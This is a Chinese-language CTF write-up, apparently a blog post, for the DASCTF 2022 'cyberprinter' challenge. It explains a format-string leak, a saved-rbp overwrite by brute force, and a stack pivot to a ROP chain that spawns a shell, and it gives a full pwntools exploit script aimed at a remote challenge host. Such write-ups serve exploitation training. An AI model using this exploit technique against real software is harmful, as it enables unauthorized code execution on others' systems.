DASCTF 2022 9月挑战赛 cyberprinter

解法和官方wp略有不同,方法较为繁琐但是所需爆破次数更少。

程序主题集中在vuln函数中

上面有一个printf可以用来泄露栈中的一部分数据(我太菜了没注意到这个机会),调试的话会发现栈中有libc中函数地址,程序中的指令地址,以及rbp的值。如果能将其泄露,我们可以借此计算出libc基址,程序加载基址,我们在栈中写的数据的地址。

程序中有一个格式字符串漏洞,可以用于泄露数据,但是想要更改返回地址则较为困难。上面讲了栈中有一个指向rbp的数据,我们可以借机修改rbp的最低位字节,由于rbp处存放的是last_rbp(即main函数的rbp),这个last_rbp的值,必然是接近vuln返回地址的储存位置。我们可以通过爆破的手段来解决问题:利用栈中储存的rbp值配合%hhn,修改rbp所指向的即last_rbp的低位字节为0x78。这样,当rbp的低位为0x70,last_rbp便指向了返回地址的位置,便可以通过这个办法修改返回地址为call vuln指令。

需要注意printf在遇到$后会开辟一个缓冲区把所有用到的参数都传进去,这一会导致尽管修改了last_rbp却不能改返回地址。所以在用%hhn时不要用$。

 然后再次执行vuln时可以利用栈迁移手法解决问题了,(onegadget也可以,但是用格式字符写一个六个字节的数据实在太过痛苦.....)

exp:


from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

libc=ELF('/home/wjc/Desktop/libc-2.31.so')

#r=process('/home/wjc/Desktop/cyberprinter')

def Pwn():

    #gdb.attach(r,'b*$rebase(0x13A0)')    

    r.recvuntil('Your name?pls..')
    r.sendline('')
    sleep(0.5)

    #%8$ld

    r.recvuntil("But there is sth wrong in it,so you can't do sth")
    r.send('%c'*20+'%100c%hhn%c%c%101c%hhnBB%19$lu\n%22$lu\n%21$lu\n\x00')
    #r.recvuntil('AAAA')
    r.recvuntil('BB')

    libcbase=int(r.recvline(),10)-(0x7f452a5e3dbc-0x7f452a581000)-(0x7f53bbfbe000-0x7f53bbf99000)
    print('libcbase:',hex(libcbase))

    rbp=int(r.recvline(),10)-(0x7ffe2e90de70-0x7ffe2e90de70)
    print('rbp:',hex(rbp))

    textbase=int(r.recvline(),10)-(0x561dbd8c33f0-0x561dbd8c3000)-0x1000
    print('textbase:',hex(textbase))
    
    onegadget=libcbase+0xe6af1
    print('onegadget:',hex(onegadget))

    system_addr=libcbase+libc.symbols['system']
    print('system_addr:',hex(system_addr))

    str_bin_sh=libcbase+0x1b75aa
    print('str_bin_sh:',hex(str_bin_sh))

    #0x0000000000026b72 : pop rdi ; ret
    pop_rdi_ret=libcbase+0x26b72
    print('pop_rdi_ret:',hex(pop_rdi_ret))

    r.recvuntil('When you left,hope you can go wherever you want!\n')    

    if rbp&0xff != 0x70:
        return 1


    #gdb.attach(r,'b*$rebase(0x13a0)')

    r.recvuntil('Your name?pls..')
    r.sendline('')
    sleep(0.1)
    r.recvuntil("But there is sth wrong in it,so you can't do sth")
    
    #26 rbp->ret
    #24 ->rbp

    n1=0xc6
    n2=0x28

    pay='%40c%22$hhn%158c%26$hhn'.ljust(0x48,'a')+p64(0)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)

    r.sendline(pay)

    r.interactive()


# r=process('/home/wjc/Desktop/cyberprinter')
# Pwn()
# r.interactive()

if __name__ == '__main__':
    while True:
        
        try:
            
            #r=process('/home/wjc/Desktop/cyberprinter')
            r=remote('node4.buuoj.cn',27833)

            if Pwn() :
                r.close()
                continue
                sleep(0.2)
            r.interactive()
        except:
            continue

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值